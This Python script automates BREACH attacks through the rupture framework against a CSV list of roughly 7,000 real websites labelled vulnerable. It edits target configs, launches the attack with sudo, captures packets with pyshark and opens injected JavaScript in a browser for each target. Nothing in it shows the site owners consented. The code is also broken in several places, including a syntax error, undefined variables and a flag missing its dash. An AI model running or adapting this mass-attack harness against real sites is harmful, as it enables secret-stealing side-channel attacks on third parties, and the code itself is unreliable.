import os
import copy
import shutil
import pyshark
import argparse
import webbrowser
import subprocess
from ruamel.yaml import YAML
from datetime import datetime
from subprocess import Popen, PIPE, STDOUT

'''
STEPS TO LAUNCH BREACH ATTACK

1.) Read a CSV file containing a list of vulnerable website  (Note: csv file is one of the exact sheet extracted 
    from the 20k excel file)

2.) Select 1 URL to attack and modify the 'endpoint' parameter under target_config.yml

3.) Setup the BREACH attack with the following command: "./rupture --setup" and input the selected id into terminal and
    deploy the backend, realtime and sniffer with the following command: "sudo ./rupture --attack". Might need to input
    password

4.) Start the packet sniffer to record packets into a pcap file, filtering on ipaddress of local and foreign. (Note: it is
    not really possible to filter on ports because multiple sockets are opened to attack the target server)

5.) Launch the chrome website with the injected javascript from the newly created 'client_?' directory

6.) Wait until timeout OR 1 round of sampling

7.) Stop the packet sniffer and save the packets into a pcap file

8.) Remove the 'client_?' directory from .rupture/client

9.) Shutdown the chrome session

10.) Repeat steps 2-10 for the following url

'''

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Input the full/relative directory to target_config.yml', required=True)
parser.add_argument('-i', '--interface', help='Input the interface used to attack the target', ,required=True)
parser.add_argument('-a', '--ipaddr', help='Input the host ip address being used to attack the target', required=True)
parser.add_argument('-n', '--injection', help='Input the root directory containing the chrome executable file', required=True)
parser.add_argument('-o', '--output', help='Input the output directory to save the pcap files', required=True)
parser.add_argument('r', '--repeat', type=int, help='Input the number of times to repeat the attack', required=True)
args = parser.parse_args()

# Defining variables
csvfile_dir = 'ip-domain.csv'
target_config_dir = args.target
host_interface = args.interface
host_ipaddr = args.ipaddr
client_injection_dir = args.injection
output_dir = args.output

yaml = YAML(typ='rt') # Round trip loading and dumping
yaml.preserve_quotes = True
yaml.indent(mapping=4, sequence=4)

for attack_idx in range(1, args.repeat+1):
    # STEP 1
    with open(csvfile_dir,'r') as csvfile:
        samples = [sample.strip().split('/') for sample in csvfile.readlines()]
        # print(len(samples)) # 7006

        # STEP 2
        for i, (target_url, target_ipaddr) in enumerate(samples):
            with open(target_config_dir, 'r+') as target_config:
                target_config_yaml = yaml.load(target_config)
                formatted_url = 'https://'+target_url+'/?ref=%s'
                # Create a new config setting by stealing the default config setting from ruptureit
                if 'vulnerable' not in target_config_yaml:
                    target_config_yaml['vulnerable'] = copy.deepcopy(target_config_yaml['ruptureit'])
                    target_config_yaml['vulnerable']['prefix'] = '/'
                    target_config_yaml['vulnerable']['secretlength'] = 0
                target_config_yaml['vulnerable']['endpoint'] = formatted_url
                target_config.seek(0)
                yaml.dump(target_config_yaml, target_config)
                target_config.truncate()

            # STEP 3
            setup_command = './rupture --setup'.split()
            setup_proc = Popen(command,stdin=PIPE, stdout=PIPE, stderr=PIPE)
            stdout, stderr = proc.communicate(b'0') # Choose id 0

            attack_command = './rupture --attack'.split()
            # Have to manually input password for the first time
            # sudo timeout is set to -1 for sudo privileges to last the session
            attack_proc = Popen(['sudo']+attack_command)

            # STEP 4
            capture_filter = '(ip.src == {0} and ip.dst=={1}) or (ip.src == {1} and ip.dst=={0})'.format(host_ipaddr, target_ipaddr)
            pcap_dir = os.path.join(output_dir,attack_idx,'{}_{}.pcap'.format(target_url, datetime.now().strftime('%Y-%m-%d_%H-%M-%S')))
            capture = pyshark.LiveCapture(interface=host_interface,
                                            display_filter=capture_filter,
                                            output_file=pcap_dir
                                            )
            capture.sniff(timeout=30)

            # STEP 5
            list_client_injection = [os.path.join(client_injection_dir, foldername)
                                        for foldername in os.listdir(client_injection_dir) if 'client_' in foldername]
            selected_client_injection_path = os.path.realpath(list_client_injection[0]) # there should only be 1 of such directory
            webbrowser.open("file://{}".format(selected_client_injection_path))

            # STEP 6: Wait for timeout >> DONE

            # STEP 7: Stop the packet sniffer >> DONE

            # STEP 8
            shutil.rmtree(selected_client_injection_path)

            # STEP 9
            os.system("killall -9 'firefox'")
